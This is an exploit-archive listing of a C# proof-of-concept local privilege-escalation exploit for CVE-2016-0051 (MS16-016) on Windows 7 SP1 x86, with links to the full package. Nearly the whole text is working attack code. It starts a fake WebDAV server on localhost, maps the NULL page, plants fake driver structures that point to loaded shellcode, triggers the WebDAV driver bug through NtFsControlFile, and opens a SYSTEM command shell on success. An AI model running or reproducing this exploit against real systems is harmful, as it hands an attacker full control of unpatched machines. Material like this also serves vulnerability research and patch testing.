1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 |
/* source: https://github.com/koczkatamas/CVE-2016-0051 Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016). Full Proof of Concept: - https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip - https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601) Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas) Original source: https://github.com/koczkatamas/CVE-2016-0051 */ using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; using System.Threading; namespace EoP { class Program { #region Fake WebDAV server static void StartFakeWebDavServer(int port) { new Thread(() => { var server = new TcpListener(IPAddress.Loopback, port); server.Start(); while (true) { using (var client = server.AcceptTcpClient()) using (var stream = client.GetStream()) using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1"))) using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true }) { Func<string> rl = () => { var line = reader.ReadLine(); //Console.WriteLine("< " + line); return line; }; Action<string> wl = outData => { //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x))); writer.Write(outData); }; var hdrLine = rl(); Console.WriteLine("[*] Request: " + hdrLine); var header = hdrLine.Split(' '); while (!string.IsNullOrEmpty(rl())) { } if (header[0] == "OPTIONS") wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n"); else if (header[0] == "PROPFIND") { var body = String.Format(@" <?xml version=""1.0"" encoding=""UTF-8""?> <D:multistatus xmlns:D=""DAV:""> <D:response> <D:href>{0}</D:href> <D:propstat> <D:prop> <D:creationdate>{1:s}Z</D:creationdate> <D:getcontentlength>{3}</D:getcontentlength> <D:getcontenttype>{4}</D:getcontenttype> <D:getetag>{5}</D:getetag> <D:getlastmodified>{6:R}</D:getlastmodified> <D:resourcetype>{8}</D:resourcetype> <D:supportedlock></D:supportedlock> <D:ishidden>{7}</D:ishidden> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim(); wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body); } else wl("HTTP/1.1 500 Internal Server Error\r\n\r\n"); //Console.WriteLine(" =============== END REQUEST =============== "); } } }) { IsBackground = true, Name = "WebDAV server thread" }.Start(); } #endregion #region WinAPI [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [StructLayout(LayoutKind.Sequential)] private class NETRESOURCE { public uint dwScope = 0; public uint dwType = 0; public uint dwDisplayType = 0; public uint dwUsage = 0; public string lpLocalName = null; public string lpRemoteName = null; public string lpComment = null; public string lpProvider = null; } [DllImport("mpr.dll")] private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags); // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library public enum PageProtection : uint { NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, GUARD = 0x100, NOCACHE = 0x200, WRITECOMBINE = 0x400 } [Flags] public enum MemoryAllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, FREE = 0x10000, PRIVATE = 0x20000, MAPPED = 0x40000, RESET = 0x80000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000, ROTATE = 0x800000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, FOUR_MB_PAGES = 0x80000000 } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)] public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect); public enum FileOpenInformation { Superceded = 0x00000000, Opened = 0x00000001, Created = 0x00000002, Overwritten = 0x00000003, Exists = 0x00000004, DoesNotExist = 0x00000005 } internal enum NtStatus : uint { SUCCESS = 0x00000000, INVALID_PARAMETER_1 = 0xC00000EF, INVALID_PARAMETER_2 = 0xC00000F0, INVALID_PARAMETER_3 = 0xC00000F1, INVALID_PARAMETER_4 = 0xC00000F2, // don't care } internal struct IoStatusBlock { public NtStatus status; public InformationUnion Information; [StructLayout(LayoutKind.Explicit)] public struct InformationUnion { [FieldOffset(0)] public FileOpenInformation FileOpenInformation; [FieldOffset(0)] public uint BytesWritten; [FieldOffset(0)] public uint BytesRead; } } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)] public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int LoadAndGetKernelBasePtr(); [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); #endregion private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); } private static byte[] z(int c) { return rep(0, c); } private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); } private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); } public static void Main(string[] args) { var shellcodeDll = LoadLibrary("shellcode.dll"); var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8"); var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0"); var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr)); var loadResult = loadAndGetKernelBase(); Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}"); var addr = new IntPtr(0x1000); var size = new UIntPtr(0x4000); var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE); Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}"); if (result != NtStatus.SUCCESS || loadResult != 0) Console.WriteLine("[-] Fail... so sad :("); else { Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures..."); var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) }); Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1); var p = new Random().Next(1024, 65535); Console.WriteLine("[*] Starting fake webdav server..."); StartFakeWebDavServer(p); Console.WriteLine("[*] Calling WNetAddConnection2..."); var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0); Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult); var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero); Console.WriteLine($"[*] CreateFile result = {fileHandle}"); IoStatusBlock ioStatusBlock; var inputLen = 24; var inputPtr = Marshal.AllocHGlobal(inputLen); var outputLen = 4; var outputPtr = Marshal.AllocHGlobal(outputLen); var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen); Console.WriteLine($"[*] NtFsControlFile result = {controlResult}"); var identity = WindowsIdentity.GetCurrent(); if (identity?.IsSystem == true) { Console.WriteLine("[+] Got SYSTEM! Spawning a shell..."); Process.Start("cmd"); } else Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}..."); } Console.WriteLine(""); Console.WriteLine("Press ENTER to exit."); Console.ReadLine(); } } } |